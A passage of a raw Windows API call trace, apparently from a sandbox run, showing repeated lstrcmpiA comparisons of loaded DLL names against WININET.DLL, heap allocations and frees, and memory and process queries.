lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.430] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.430] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.430] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.430] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.431] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.431] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.431] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="IEFRAME.dll", lpString2="WININET.DLL") returned -1 [0082.431] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.431] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.431] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77340000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x77340000, AllocationBase=0x77340000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.431] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.431] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x769e0000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x769e0000, AllocationBase=0x769e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.432] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.432] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75450000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x75450000, AllocationBase=0x75450000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.432] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.432] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75220000, lpBuffer=0x37fd74, dwLength=0x1c | out: lpBuffer=0x37fd74*(BaseAddress=0x75220000, AllocationBase=0x75220000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0082.432] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fd28, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fd28, ReturnLength=0x0) returned 0x0 [0082.432] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.432] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.432] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.432] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.432] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.432] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.432] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.433] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.433] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.433] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.433] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.433] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.433] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.433] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.433] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.433] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.434] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.434] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.434] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.434] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.434] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.434] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.435] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.435] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.435] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.435] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.435] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.435] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.435] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.435] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.436] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.436] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.436] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.436] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.436] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.436] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.436] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.436] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.436] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.437] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0082.437] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274eb48 | out: hHeap=0x2350000) returned 1 [0082.437] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eb48 [0082.437] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0082.437] lstrcmpiA 